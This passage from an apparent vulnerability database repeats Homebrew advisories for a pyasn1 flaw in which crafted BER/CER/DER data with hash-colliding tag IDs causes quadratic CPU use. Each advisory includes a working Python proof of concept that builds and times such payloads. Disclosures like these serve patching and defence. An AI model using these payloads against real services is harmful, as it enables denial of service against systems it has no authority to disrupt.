        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.1",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@9",
            "purl": "pkg:brew/ansible%409"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "9.6.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.1",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.1"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-ansible@9-CVE-2026-119194",
      "modified": "2026-10-31T08:33:34Z",
      "published": "2026-10-31T08:33:34Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-AWS-SHELL-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 08:34 – Updated: 2026-10-31 18:50 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "aws-shell",
            "purl": "pkg:brew/aws-shell"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.2.0"
                },
                {
                  "fixed": "0.2.2_17"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-aws-shell-CVE-2026-119194",
      "modified": "2026-10-31T18:50:42Z",
      "published": "2026-10-31T08:34:03Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-AWSCLI@1-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 09:58 – Updated: 2026-11-08 09:54 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "awscli@1",
            "purl": "pkg:brew/awscli%401"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.17.10"
                },
                {
                  "fixed": "1.46.3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-awscli@1-CVE-2026-119194",
      "modified": "2026-11-08T09:54:44Z",
      "published": "2026-10-31T09:58:06Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-CERTSYNC-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 10:23 – Updated: 2026-10-31 10:23 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.4.8",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "certsync",
            "purl": "pkg:brew/certsync"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.1.4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.4.8",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.4.8"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-certsync-CVE-2026-119194",
      "modified": "2026-10-31T10:23:12Z",
      "published": "2026-10-31T10:23:12Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-CVE-BIN-TOOL-CVE-20… (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 09:01 – Updated: 2026-10-31 19:22 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "cve-bin-tool",
            "purl": "pkg:brew/cve-bin-tool"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.4"
                },
                {
                  "fixed": "3.4_5"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
